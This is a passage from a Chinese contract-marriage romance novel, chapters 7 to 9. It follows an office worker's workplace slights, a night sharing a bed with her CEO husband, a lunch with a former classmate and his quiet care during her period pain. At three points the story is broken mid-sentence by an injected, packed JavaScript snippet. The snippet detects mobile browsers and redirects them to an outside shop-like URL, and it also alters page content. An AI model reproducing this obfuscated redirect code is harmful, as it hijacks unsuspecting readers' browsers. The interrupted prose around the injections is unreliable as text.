《婚后失序[先婚后爱]》 7. 第七章 工作日,会议室里。 会议进行到行政流程汇报时,气氛一如既往地公式化。 行政分管副总周明远,翻着手里的文件,一双精明的眼睛,在会议桌上扫了一圈,最后停在林知夏身上。 “这个项目的协调部分,”他说,“还是由你来负责。” 语气听起来像是例行安排,可下一句话,却刻意慢了半拍:“不过,上一次你细节处理不够到位。” 周明远抬眼看她,“回去再改一版,标准必须按总部流程走。” 会议室里很安静。 所有人都知道,上一次临时调整流程,是林知夏一个人连夜留下来改的方案。 那天晚上,行政部的灯一直亮到了凌晨。 只有她那一版,在第二天早会上被沈砚舟点名通过后,没有再返工。 第二天,流程才得以顺利落地,这件事,在部门里并不算秘密。 她本该是行政部的功臣。 只是此刻,没有人开口。 没有人提醒周明远,也没有人替她解释一句。 像是默契地默认——功劳这种东西,只有在被上级允许的时候,才能算数。 林知夏低头记下那句话,笔尖在纸上停顿了一瞬,很快又继续写下去。 她应了一声:“好。” 声音很轻,很稳,却没有任何辩解。 周明远这种话,说重不重,说轻也不轻,但足够让人听懂——这是在当众点她名。 林知夏低着头,继续记笔记,神情没有任何变化,可只有她自己清楚,这种事情并不是第一次。 因为整个行政部里,只有她一个人,没有任何背景。 不是名校毕业,学历和岗位要求甚至不匹配,却莫名其妙空降进了这家偌大的公司,还一路留到了现在。 周明远看向林知夏,她的履历,他翻了不止一遍,她的关系,他也暗地里托人打听过。结果却什么都没查出来,干净得过分。 越是这样,他越觉得不对劲。 在他看来,这种人,不是走了狗屎运,就是背后藏着什么说不出口的门路。 而无论哪一种,都让人不舒服。 更何况,她太安静了,不争、不抢、不站队,也不讨好,像是默认了自己处在最底层,却又偏偏站得住。 这种人,最容易被拿来敲打,也是最安全的。 周明远合上文件,语气一转,视线移向会议桌另一侧,脸上换上了一副谄媚的表情: “清禾这边的艺术展推进得很不错。”他说,“新方案我看过了,很有想法。” 许清禾微微一笑,神情从容。 “谢谢周总。”她语气得体,“也是因为行政部的伙伴们配合得好。” 她坐在沈砚舟右手侧,姿态松弛。 周明远很清楚,她家世优渥,履历漂亮,外貌突出,又是刚回国不久就直接空降艺术总监的位置。 公司里早就有传闻——她和沈砚舟关系不一般。 是他亲自点名请回来的,这样的人,自然是要被捧着的,万万得罪不起。 周明远点了点头,语气明显放缓了几分,又补充了一句:“有背景、有能力,做事就是不一样。” 他说这话时,目光却若有若无地扫过林知夏,像是在提醒什么。 林知夏的笔尖在纸上停了一瞬。 她很清楚,这不是巧合,当众点她,再顺手夸许清禾。 踩与捧之间,界线分明。 她没有抬头,只是把刚才那句话记进了会议纪要里,仿佛这一切,都只是工作的一部分。 主位上,沈砚舟骨节修长的手指,合上了文件。 他的视线在林知夏身上停留了一瞬,很短,短到没有人察觉。 林知夏却感觉到了,她没有看他,也没有露出任何多余的表情。 她比谁都清楚——沈砚舟不会帮她,也不会在这种场合替她说话。 不是因为他看不见,而是因为在他的规则里,这还不算越界,也不算什么。 她还记得,去年她刚到公司不久以后,作为行政助理,她参会,亲眼目睹的集团季度审计会议上的事。 会议临近尾声,财务总监忽然调出一份补充材料,语气明显犹豫了一下:“还有一件事,需要向沈总单独说明。” 屏幕上,是一笔被反复拆分、藏在多个项目里的异常资金流。 数额不算巨大,但路径极其隐蔽。 会议室里安静了几秒,已经有人反应过来——这是有人在动手脚。 沈砚舟靠在椅背上,神色冷静,甚至没有立刻去看那张表。 “责任人是谁?”他问。 财务总监报了一个名字。 “是市场部的一个老员工,在集团已经干了八年,项目能力强,人缘也不错。前段时间,他母亲得了重病,部门里几乎人人都知道。” 有人下意识开口:“沈总,他这个情况……是不是可以内部警告处理?” 沈砚舟终于抬眼,看向屏幕。他的视线停留得很短,只扫了一遍关键数字。 “移交法务。”他说。 会议室里一瞬间彻底静了。 “沈总,”有人忍不住提醒,“如果走法务,这个人基本就毁了。” 沈砚舟点头:“我知道。” 他的语气平稳,没有半点情绪起伏。 “集团不是慈善机构。”他继续道,“私人困难不能成为违规的理由。今天我给他留口子,明天就会有人觉得,这条线是可以踩的。” 他说完这句话,合上了文件:“会议结束。” 没有再给任何人反应的时间。 从那以后,她就非常清楚,沈砚舟从来不是靠情绪做决定的人。 所有选择,在他这里,都有清晰的优先级——风险、收益、可控性,永远排在感情之前。 他习惯把一切拆解、衡量、计算到最稳妥的程度。包括关系、包括人。 会议结束时,林知夏起身收拾资料,动作一如既往地利落,只是指尖在合上文件夹的那一刻,微微收紧。 下了班,林知夏按约走到公司侧门的路口,今天是沈母带家庭医生,来看他们俩的日子。 夜色刚落,路灯一盏盏亮起。 一辆低调的黑色劳斯莱斯,无声地停在她面前,车窗是单向玻璃,从外面看,什么也看不清,不会有人知道,里面坐了谁。 司机下车恭敬的替她拉开车门。 她弯腰坐进去的瞬间,车厢里很安静,沈砚舟高大的身影,已经在里面了。 他脱了外套,搭在一旁,衬衫袖口挽到小臂,手上的劳力士腕表,冷淡而克制。 车内灯光不亮,只在他侧脸轮廓上落下一点微光,眉骨深,鼻梁挺直,下颌线干净利落。 整个人只是简简单单的坐在那里,就自带一种不容忽视的强烈存在感。 他从来不是第一眼的那种好看,而是让人看到时的一瞬,便下意识收敛呼吸的那种。 林知夏很快移开了视线。 她已经换掉了白天的工作装,穿了一条淡色的长裙,布料柔软,颜色清浅。 头发松松挽着,神色平静,看不出任何加班后的狼狈,也看不出会议上的难堪。 车子缓缓启动,沈砚舟的目光在她身上停留了片刻,她没有向自己开口诉苦、没有示弱、解释,甚至连一句多余的话都没有。 只是规矩地坐好,视线落在前方,像是已经把所有情绪都妥帖收好。 他很清楚,坐在沈太太这个位置上,或许其他人会这么做,但她绝对不会。 沈砚舟收回视线,没有说话。 车子驶入别墅区时,天色已经暗了下来。 路灯沿着林荫道一盏盏亮起,光影从车窗外掠过,落在沈砚舟的侧脸上,又很快滑走。 车在主宅前停下。 司机刚拉开车门,客厅里温暖明亮的灯光便倾泻出来。 “回来了?”沈母的声音已经先一步响起。 她站在客厅中央,身旁是提着医药箱的家庭医生,语气轻快,像是在等一场极其普通的晚归: “刚好,医生也到了。” 林知夏脚步微微一顿,她下意识看向沈砚舟。 他已经先一步往里走,语气平稳:“嗯,路上有点堵。” 沈母的目光却很快越过他,落在林知夏身上:“知夏,累不累?” 她走过来,很自然地握住她的手腕,指腹温热,“脸色看着有点白,是不是最近工作太忙了?” 那一瞬间,林知夏几乎条件反射地想把手收回,却又被那点温度定在原地。 沈母的关心算是热烈,而且每次细致得恰到好处,并不是盘问,也不是居高临下的关怀,而是像真的,把她当成家里的人。 “还好。”她低声回答,“不算累。” 沈母皱了下眉,明显不太相信,却没有拆穿,只是转头对医生说:“先给她看看吧。” 林知夏被带到沙发旁坐下。 医生开始询问她作息、饮食,语气温和而专业。 她一一回答,声音不大,却很配合。 沈母坐在一旁,偶尔补一句:“她胃口一直不太好。”“晚上别太晚睡。” 这些话里,有些细节,连林知夏自己都没太留意过。 她的指尖慢慢收紧,落在膝上的手交叠在一起,心口却莫名发紧。 那是一种很陌生的感觉,被认真放在心上的感觉。 她忍不住想起自己的亲生母亲。 这些年里,夏桃更关心的是“她钱给的够不够”“弟弟未来怎么办”,而不是她有没有好好吃饭,这种小事。 这个念头刚冒出来,她就立刻压了下去。不该这样想,她提醒自己。 这里不是她的家,眼前这个温柔、开朗、事事替她考虑的长辈,也不是她真正的母亲。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16992321|193772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她只是一个被暂时放进这个位置里的人,一份协议关系里的存在。 沈砚舟站在不远处,接了个电话,他声音很低,语气克制,似乎还是在处理工作。 医生检查结束,说她身体很好,只是会轻微疲劳,多注意休息,备孕就没事。 沈母这才松了口气,笑着轻轻拍了拍林知夏的手背:“那就好。” 沈砚舟挂断电话,高大的身影走过来:“医生的话,听清楚了? “听清楚了。”林知夏点头。 沈母却不满地看了他一眼:“你少给她添事才是真的!公司里不重要的事情,都给知夏推掉!” 他说了句“知道了”,没有反驳。 林知夏坐在那里,看着这一幕,心里却有了种很微妙的错位感。 沈母的好,是外放的、直接的、完全不设防。 而沈砚舟对她身体的微妙关心,虽然她分辨不出来,对方这么做,是不是因为,想要她这个协议的妻子,避去任何不省心的麻烦。 可偏偏,在这一刻,都落在了她身上。 她忽然有点坐立不安,像是站在一个不属于自己的位置上,被过分认真地对待了。 “阿姨,我先去楼上。”她站起身,语气克制,“不打扰你们聊天。” 沈母愣了一下,随即点头:“好,早点休息。” 沈砚舟看了她一眼,没有拦,只是在她转身上楼时,目光停留得比刚才略久了一瞬。 家庭医生已经离开,佣人去准备晚餐,客厅一下子空了下来。 沈母坐在沙发上,翻着医生留下的注意事项。 “你最近太累了。”她语气平常,对沈砚舟说,就像是在说天气。 沈砚舟的回答轻描淡写:“我没事。” 沈母抬头看了他一眼,忽然笑了一下:“你爸以前,也总这么说。” 空气安静了一瞬。 沈砚舟下意识想接一句“情况不一样”,却被她先一步打断。 “我知道你在想什么。”沈母慢慢合上手里的纸,“你觉得,如果他当年不这么拼,公司可能就撑不到现在,对吗?” 他没说话,这本身就是答案。 沈母没有反驳他,她只是继续说道: “可你有没有想过,如果他多活几年,你会不会少走很多弯路?” 沈砚舟的喉结动了一下。 “他不后悔。”他说,语气很笃定,“这是他的选择。” 沈母点了点头。 “是的。”她承认,“可这不代表,你也必须重复他的选择。” 这句话落下的时候,没有任何指责,只是事实。 “砚舟,”她看着他,声音忽然柔软下来,“你爸走之前,跟我说过一句话。” 沈砚舟抬眼:“他说,如果你将来活得比他更累,那他这一辈子,就算白撑了。” 沈砚舟没有说话。 林知夏进了主卧一会儿,沈砚舟很快也跟了上来,这一次,她们自然已经不被允许分房睡。 灯亮起的瞬间,宽敞的空间映入眼帘。 深色木质地板,低调的灰色床品,落地窗外是整片夜色与庭院灯光。房间很大,却空旷得不像有人长期居住。 “你睡这边。”他指了指床的一侧,语气是惯常的冷静。 林知夏点了点头,走过去,在床上坐下时,背挺得笔直,像是在参加一场,并不熟悉的仪式。 床很大,大到他们之间,始终隔着安全的距离。 可偏偏,这种被要求出来的,真正夫妻才会有的,同床共枕的亲密行为,本身就让人心跳失序。 沈砚舟站在床另一侧,骨节修长的手指,解下腕表,随手放在床头,金属轻碰木面的声音,在安静的房间里显得格外清晰。 林知夏,下意识屏住了呼吸。 他没有看她,只是关了灯。房间陷入昏暗,他们各自躺下。中间隔着一段不算近的距离。 她能清楚地感觉到他的存在,房间里属于另一个人的体温、呼吸、气息,实在太过明显。 明明很安静,却极具侵略感。 沈砚舟身上有淡淡的味道,是木质雪松冷调,夹杂薄荷的清爽味道,那味道在黑暗中缓慢地蔓延。 林知夏的心跳不受控制地快了几分,她努力让自己放松,却发现身体比意识更诚实。 身上的被子微微动了一下,是沈砚舟侧了个身。 距离在无声中被拉近,近到她只要稍微偏头,就能碰到他的肩膀。 她耳根发烫,丝毫不敢动,连呼吸都变得小心翼翼。 黑暗里,他忽然开口,声音低而稳:“睡吧” 只有两个字,却像是在贴着她耳边落下。 林知夏攥紧身上的被子,轻轻的“嗯”了一声,长睫颤抖,声音低得几乎听不见。 她艰难的闭上眼睛,却怎么也睡不着。 ——意识清醒得可怕。 8. 第八章 林知夏醒得很早,或者说,她一整夜,几乎没怎么真正睡着。 意识浮浮沉沉,像是被什么牵着,一直悬在半空。等她真正清醒过来时,窗外天色已经泛白。 清晨的光线透过落地窗,薄薄地铺进来,房间安静得不像话。 她没有立刻动。 第一反应,是确认——沈砚舟还在不在。 他的呼吸声很轻,却很稳,从她身后传来,睡得很沉,正对着她,肩线宽阔,被子覆在他劲瘦腰侧,睡衣领口,露出一截干净利落的冷白脖颈。 他们之间的距离,似乎比昨晚还要更近了一点。 只是,不知道是什么时候拉近的。也不知道,是谁先拉近的。 林知夏的心跳,在那一刻,再次不受控制地乱了一下。 她抬头,视线慢慢落在他侧脸上。 沈砚舟的睡颜,比清醒时少了几分锋利。眉骨依旧清晰,鼻梁笔直,下颌线在晨光里显得冷静而干净。 那双平日里冷漠审视一切的眼睛,此刻闭着,睫毛投下一点浅浅的影。 距离实在太近了,近得过分。 近到她能看清他眼尾细微的纹路,感受到他呼吸起伏的节奏。 林知夏忽然意识到一件事——这是她第一次,真正这样看他。 不是在公司会议室,不是在文件堆里,不是在“沈总”的身份之下。 而是一个从高中时期开始,她便暗恋着的人。 不该这样想,她提醒自己。他们之间的关系,本就不该有这种多余的情绪。 她小心翼翼地想往后挪一点,可身体刚一动,手臂却不小心碰到了什么——是他的手。 虽然隔着被子,但这点触感,却依旧让她皮肤一麻。 林知夏整个人僵住了。 几乎在同一瞬间,面前的人动了一下,呼吸节奏变了。两个人之间的距离,被这一点细微的动静无限放大。 下一秒,沈砚舟睁开了眼睛,在晨曦的金黄光线里,恰好对上了她。 短短一秒钟的对视,却像是被无限拉长了。 林知夏背脊发热,心跳声几乎盖过了自己的呼吸声。 “醒了?”他开口,声音沙哑,比平时少了几分冷,多了点尚未完全褪去的慵懒。 她喉咙发紧,轻声应了一句:“嗯。” 说完了这一个字,意识到距离太近,她立刻坐起了身来,动作太快,反倒显得慌乱,像是心虚的小偷一般。 沈砚舟也坐了起来,修长指尖揉了揉眉心。 “时间还早。”他说,语气已经恢复了平日的克制冷淡,仿佛刚才那一瞬,以及那种近乎暧昧的东西,只是她的错觉。 林知夏点了点头,没有接话,她低头整理了一下自己身上的睡衣,动作却不太稳。 房间里再次安静下来,可这种安静,似乎已经和昨晚不太一样了。 即便谁都没有说出口。 沈砚舟站起身,高大的身影走向浴室。 林知夏坐在床边,看着那扇门合上,却能清晰感觉到,胸腔里,某些自高中时期生根发芽,便被她压抑已久的东西,在缓慢而隐秘地苏醒。 黑色迈巴赫驶离了别墅区,今天早高峰上班的路况还算顺畅,当然很大程度上,是因为沈砚舟的别墅在山上,并不需要和上班族们,挤最热门的那几条线路回公司。 后座十分安静。 林知夏低头看了一眼手机,屏幕忽然亮了一下。 【周屿】:明天中午有时间吗?刚到江州还不熟悉,想请你吃个饭。 她指尖停了一瞬。 脑海里,却不合时宜地浮现出另一个画面——公园湖畔,玻璃窗内咖啡厅里,许清禾坐在沈砚舟对面说话,笑颜如花。 那是她亲眼见到的画面。 她忽然意识到一件事,在那份协议里,如同沈砚舟拥有的自由一样,她也并没有被要求,必须把所有时间、所有选择,都交出来。 她低头,纤长的手指,在手机屏幕上打字。 【林知夏】:好,今天中午十二点半就可以。 消息发出去的那一刻,她心口轻轻一跳,却并不后悔。 车厢里,几乎是同时,气氛出现了一丝极细微的变化。 沈砚舟看了她一眼,放在膝上的那只手,指腹轻轻摩挲了一下高定西装的布料。 屏幕上,林知夏那条刚刚发送成功的消息,还没来得及熄灭。 “朋友?”沈砚舟开口,语气一如既往地平直。 林知夏抬头:“嗯,高中同学。” 他点了点头,没有再说什么。 车子继续向前,过了几秒,他像是随口想起:“昨天公园里那个?” 她怔了一下,还是应了声:“是。” 沈砚舟没有立刻接话。他侧过脸,看向车窗外,视线落在高架桥下飞快后退的绿化带上。 “江州不小。”他说,“能再碰上,挺巧。” 这句话听起来没有任何情绪,却偏偏让人无法忽视。 林知夏没有解释,她只是把手机放回包里,坐姿恢复得端正而安静。 过了一会儿,她开口问:“我昨天听同事提起一件事。” 沈砚舟看向她:“许清禾。”她顿了顿,“以前和你……谈过?” 车厢里短暂地安静下来,沈砚舟没有立刻回答。 那不是被触及隐私的迟疑,更像是在判断,这是不是他需要回应的问题。 “谁跟你说的?”他问。 “公司里。”她如实回答,“大家都知道。” 他轻轻笑了一下,极淡:“传言这种东西,一旦有人开头,就会被补得很完整。” 她明白,这是回避。 “所以是真的?”她还是问了一句。 沈砚舟收回视线,看向前方:“过去的事,没必要再提。” 他语气平稳,态度却很明确,既没有承认,也没有否认。 林知夏点了点头,没有继续。 她知道,这已经是他愿意给出的全部,更何况,按照协议内容,她本来就无权过问。 车子驶入公司地下车库的瞬间,沈砚舟忽然补了一句,语气非常公式化:“你中午如果外出,记得跟部门报备。” “工作时间,尽量别被私事影响。” 她“嗯”了一声。 林知夏下车时,还是忍不住回头看了他一眼。 沈砚舟已经低头翻开文件,神色冷静自持,仿佛刚才她答应和别人吃饭这件事,从未在他心里掀起半点涟漪。 中午的餐厅不算嘈杂,靠窗的位置,阳光被百叶帘筛过一层,落在桌面上,温度恰到好处。 周屿比她记忆里要高一些,气质却没怎么变,还是那种让人一眼就觉得舒服的温和型。 浅色衬衫,整个人温柔而松弛,像是从不需要和世界争抢什么。 他提前到了,看到林知夏进来,立刻起身,笑着替她拉开椅子: “这家是我同事推荐的,不吵,菜也清淡。” 林知夏点了点头,道了声谢,坐下的那一刻,她才意识到,自己其实有点紧绷。 不是面对沈砚舟的那种紧张,更像是一种——下意识的自我收敛。 她已经很久没有单独和异性,这样坐下来吃饭了。 周屿看了她一会儿,忽然笑了下:“你变化挺大的。” 林知夏一愣,下意识抬眼。 他语气不急,也不带审视,只像是在确认一件早就注意到的事: “以前在班里,你总是齐刘海,头发剪得很短,低头写作业的时候,整张脸几乎都被挡住了。” 他说这话时,目光落在她现在的发型上。 中分的长发垂在肩侧,发尾微微卷着,线条柔软。 她五官本就生得清秀,现在露出来,反而显得轮廓更干净,皮肤白得安静,不张扬,却很容易让人多看一眼。 “现在不一样了。”周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16992322|193772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屿顿了下,像是斟酌用词,“比以前好看很多。” 这不是夸张的赞美,更像是一句被压了很久、终于说出口的实话。 林知夏被他说得有些不自在,指尖轻轻碰了下杯壁,低声道:“只是换了发型而已。” 周屿笑了笑,没有再继续这个话题。 其实他很早就注意到她了,在高中时。 那时候的林知夏虽然并不显眼,可不知道从什么时候开始,他总是会在教室里,下意识地去找她。 不是刻意,只是目光会自己停过去。 她低头写作业的时候,笔尖很稳,肩背微微前倾,像是把自己的整个世界,都收进了那一小块课桌里。 偶尔被老师点名回答问题,她站起来,声音很轻,却很清楚,不慌,也不讨好。 那种安静,并不怯,更像是有一个自成一格的小世界。 周屿后来才意识到,那种感觉,大概是喜欢的雏形。 不是轰轰烈烈的心跳,而是在人声嘈杂的地方,总能一眼找到她。 他没有亲口跟她说过喜欢,却给她写过一首诗,后来被同学们起哄,翻出来读,所以陆言一直记到了现在。 周屿点菜的时候,问了她一句:“你有什么忌口吗?” 林知夏愣了一下,她下意识想说都可以,话到嘴边,却顿了顿:“我不太吃香菜。” 周屿点点头,语气自然:“好,那我跟服务员说一声。” 他说得太顺了,顺到林知夏忽然意识到一件事,这是她很少被问起的事情,她并不习惯被照顾。 饭菜上得很快。 他们聊的多是些无关紧要的事——工作、城市、这几年各自的变化。 周屿说自己刚调来江州,人生地不熟,能遇到她算是意外的幸运。 “对了,”他说着,像是忽然想起什么,“你现在是在沈氏集团上班?” 林知夏“嗯”了一声。 “很厉害的公司。”周屿笑,“在江州商界,沈砚舟这个名字,基本就是天花板了。” 她的筷子轻轻碰了一下碗沿,声音很轻,却还是让她下意识放慢了动作。 “我也是后来才知道的,”周屿继续说,“以前在学校里,虽然他一直很受欢迎,但谁能想到,他会走到这个位置。” 他说得随意,像只是老同学之间的闲聊:“我们那会儿,对他印象最深的,好像还是和许清禾的事。” 周屿顿了一下,又补了一句:“你可能不知道。” 林知夏的动作明显慢了半拍,她低头夹菜,声音却很稳:“听说过一点,也是传闻。” 周屿笑了笑,“他们在一起过,又分过。后来许清禾大学出国,沈砚舟也没再谈。” “我们班里那会儿还说,他眼光太高,一般人根本入不了他的眼。” 他说这话时,语气稀松平常,没有刻意观察她的反应。 可林知夏还是清楚地感觉到,有什么东西,被轻轻戳了一下。 她端起水杯,喝了一口,水温偏凉,从喉咙一路滑下去,却没压住心口那点细微的涩意。 她没有追问,也没有表现出任何好奇。 “你呢?”周屿突然看着她问,“这些年,过得好吗?” 这个问题问得很轻,却让她一时不知道该怎么回答。 她想了想,给了一个最安全的答案:“还可以。” 周屿点头,他看着她,目光里带着一种温和的迟疑,像是想说什么,又最终收住了。 “如果有需要帮忙的地方,”他说,“可以找我,我们是老同学嘛。” 林知夏抬头,对他笑了一下,那笑容很礼貌,也很疏离:“谢谢。” 饭后结账时,周屿坚持请客,她说服不了他,没有和他推让太久。 走出餐厅时,手机却忽然响了一下。 她低头看了一眼,是沈砚舟的消息,只有三个字,却令她心头一震: 【回公司。】 9. 第九章 她心里还是生出了几分期待。 周屿注意到了她的神情变化,问了一句:“你要回公司了吗?” “嗯。”她收起手机。 “那改天再约。”他说,语气温柔,没有给她留下任何心理负担。 她点头:“好。” 向着回公司的方向,走出几步后,她的心跳,比出来吃饭时要乱一点。 但不是因为周屿,而是因为,沈砚舟。 她想起,他坐在车里,知道她答应周屿这顿饭时,目光落在她身上时,那一瞬间的停顿。 ——那种停顿,太轻了,轻到连她自己,都不确定是不是错觉。 林知夏回到公司的时候,已经是傍晚,秘书很快就敲了敲她的隔间门。 “沈总让你去一趟办公室。” 总裁办公室的灯还亮着,沈砚舟高大的身影坐在办公桌后,电脑屏幕开着,似乎是刚结束一段会议。 他抬眼看她,神色是一贯的冷静克制:“这个项目的行政协调,你今晚把最终执行表做出来。” 他的语气很淡,没有多余解释。 林知夏下意识应声:“好的。” 原来真的只是工作安排,那一瞬间,进门之前,她心底浮上来的微小期待,很快化成了失望。 她没有问截止时间。 因为她很清楚——如果沈砚舟说的是“今晚”,那就意味着,她今天必须完成,这就是他的工作风格。 沈砚舟把资料推到她面前,目光在她脸上停留了一瞬,又很快移开:“有问题?” “没有。”她接过资料,转身离开。 就在她走出门没多久,内线电话响了。 沈砚舟接起电话,语气简短:“通知各部门,今天没有特殊任务的话,不用加班。” 电话那头应了一声:“那林助理?……” 他顿了顿:“行政部——” 那句话在他唇边停住了,像是一个下意识的、未经思考的反应。 助理在等他的下一句。 几秒后,他语气恢复平稳:“算了,按原安排。” 电话挂断了,办公室里重新安静下来。 沈砚舟看着那份文件,心里却比谁都清楚——这件事,并不紧急,也不重要。 完全可以放到明天,不必临时叫她回来加班。 可他没有改口。 他自己也说不清,是为什么,也许是作为自己协议结婚的妻子,他并不想看到林知夏乱跑。 行政部的灯一盏盏熄掉,下班的时间早就到了。 同事们收拾东西离开,走廊里的声音逐渐变少,最后只剩下键盘敲击的轻响。 林知夏坐在原位,没有动,她把资料重新拆解,逐项核对,把流程表重新拉了一遍。 这是沈砚舟要的,她不允许自己出错。 周明远是在这个时候走出来的:“还没走?” 他站在她隔间外,看了一眼屏幕,眼神里有些幸灾乐祸:“沈总那边的新任务?” 林知夏点了点头:“嗯。” 周明远笑了一下,语气带着点意味不明的轻慢:“也是,你是越级汇报嘛,他总得盯紧点。” “毕竟你基础在那儿,他不放心,也正常。” 她听懂了,周明远这是在说——沈砚舟并不是信任她,才让她越级汇报,反而是在监督她这个“差生”。 林知夏没有反驳,只是把视线重新落回屏幕,继续敲字。 她早就习惯了。 习惯被怀疑,习惯被低看,习惯在所有人都离开之后,独自把事情做完。 时间一点点过去。 九点。 十点。 她的背开始发紧,小腹传来隐约的坠痛。 一开始她没有在意,直到那股疼意越来越明显,像是慢慢被拧紧的绳索。 她停下手,深吸了一口气。 这才意识到——是大姨妈来了。 她算错了时间。 痛经对她来说一向很重。 以前父亲在的时候,她每次疼得厉害,都会被按在沙发上,热水袋塞进怀里,被念叨着“别硬撑”。 后来就没人再管了。 她从抽屉里翻出止痛药,犹豫了一下,还是没有吃,工作还没做完。 她把身子往椅背里靠了靠,缓了几秒,又继续敲键盘,等她终于把最后一份文件上传系统,已经快十一点。 办公室空得过分,她站起身的时候,眼前微微发黑,腿有些发软。 手机却在这时震了一下。 【沈砚舟:下来。】 她怔了一瞬。 【林知夏:?】 【沈砚舟:在停车场。】 那一刻,她是真的呆住了。 她以为,他早就走了。 地下停车场灯光冷白,空旷而安静。那辆黑色迈巴赫停在最里侧,总裁专用的位置,车灯没开,却异常显眼。 她刚走近,车窗缓缓降下。 沈砚舟坐在驾驶位上,骨节修长的手指握在方向盘上,黑色劳力士腕表低调而奢华,西装外套随意搭在一旁,衬衫袖口解开,领带早就取下了。 整个人看起来,没那么冷,比白天要松弛一些,却依旧挺拔。 “上车。”他说,语气很淡,像是在说一件再正常不过的事。 “司机呢?”她下意识问。 “让他先走了。”沈砚舟神色如常,回答她道。 车门合上的那一刻,空间骤然变得封闭。 她刚想开口告诉他,文件已经发给他,话还没出口,就听见他先低声问了一句:“不舒服?” 她愣了一下,大概是自己脸色太差了。 “……有点。”她没多说。 沈砚舟侧目看了她一眼,视线在她微微发白的脸上停留了两秒,随后收回:“痛经?” 她没想到他会猜到,轻轻点了点头。 车厢里安静了一会儿,他伸手,从储物格里拿出一瓶常温的水,递给她,动作很自然,没有解释。 “下次你这种情况,可以直接说,算例外,不必加班。”他说,语气依旧冷静,却不像命令。 林知夏接过水,指尖有点发抖。 她低声应了一句:“嗯。” 车子启动,驶出停车场。 整栋公司大楼的灯已经完全熄灭了。 她突然意识到一件事情,他似乎也是刚刚才下班。 车子刚驶上主路,林知夏就再次察觉到了,那种熟悉的、从小腹深处一点点蔓延开的钝痛,在不断加深,让她呼吸微微一滞。 她下意识地收紧身体,指尖按在腹部,肩背不自觉地绷紧。 沈砚舟很快察觉到,她安静得过分。 “很疼?”他语气低了几分。 林知夏没否认,只轻轻“嗯”了一声。 车子在高架匝道处拐弯,速度不快,却带着惯性。 林知夏本就疼得厉害,纤瘦的身体不受控制地向一侧倾过去,几乎要从座椅上整个滑落。 下一秒,一只手臂横了过来。 沈砚舟几乎是下意识的动作,没有犹豫,也没有多余的思考,有力的手臂挡在她身侧,替她稳住了身体。 隔着薄薄的衣料,她能清楚地感受到他手臂的肌肉绷紧与温度。 不是拥抱,也不是搂。 只是一个极其本能的、为了防止她摔倒的动作。 可她呼吸,还是乱了几分。 车子重新回到直线行驶,那只手臂很快收了回去,仿佛什么都没有发生。 林知夏坐稳后,低头从包里摸出一板止痛药,手指有些发抖,却动作熟练。 她抠开铝箔,把药含进口中,拧开水瓶,仰头吞下。 这一整套动作,流畅得不像是第一次,连眉都没有皱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16992323|193772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下。 只是因为动作太急,外套从她修长的腿上滑落,掉在了脚边。 她低头看了一眼,却没有弯腰去捡。 她是真的没有力气了。 车速慢了下来。 沈砚舟单手握着方向盘,另一只长臂却伸了过来,把她地上那件外套捡起,递到了她手边,修长的指尖没有碰到她。 “谢谢。”她接过来,声音很轻。 车厢里安静了片刻。 他像是随口一问,语气依旧克制冷淡:“为什么会随身携带止痛药这种东西?” 林知夏怔了一下,很短的一秒。 然后她笑了笑,语气如常,像是在说一件再普通不过的小事。 “习惯了。” 她把外套重新搭在腿上,目光看向车窗外掠过的路灯,声音不急不缓: “以前家里条件不太好,看病需要花钱。痛经的时候,能忍就忍,忍不了就靠这个。” 她顿了顿,又像是在回忆着什么, “后来又跟着我妈,搬来搬去的,常常半夜疼醒,也没人能送我去医院。就想着,放点药在身上,总归安心一点。” 她说得很平静,没有委屈,没有抱怨,甚至连语调都没有起伏,像是这些事,本就该如此。 沈砚舟的视线却在前方的红灯上停住,骨折修长的手指,不自觉地收紧了方向盘。 他想起她刚才吞药时,那种熟练而冷静的动作,完全不是被照顾过的人,才会有的姿态。 红灯跳转为绿灯,车子重新启动。 林知夏靠回座椅,闭了闭眼,垂下长睫,像是药效还没上来,疼意仍在身体里缓慢地翻涌。 她没有再说话,而沈砚舟,也没有继续追问。 只是把车速放慢了一点,开得很稳。 连他自己都说不清——刚才有一瞬,他为什么会觉得,那些她用“习惯了”带过的过往,重得让人呼吸发紧。 沈砚舟把她送回出租屋的时候,已经晚上十一点半了。 腹部痛经的不适并没有完全消失。况且因为才吃了止痛药的缘故,她脑袋有些昏昏沉沉的,很快就睡着了。 林知夏再次在床上醒来的时候,根本就不记得,沈砚舟是什么时候送她进来,又是什么时候离开的。 但她手指触到了柔软的毛毯,被仔细的盖在她身上,她艰难的坐起身来,倚靠着身后的靠枕。 转头时,她却看到床头柜上多了两样东西,一杯水和一个浅灰色的热水袋。 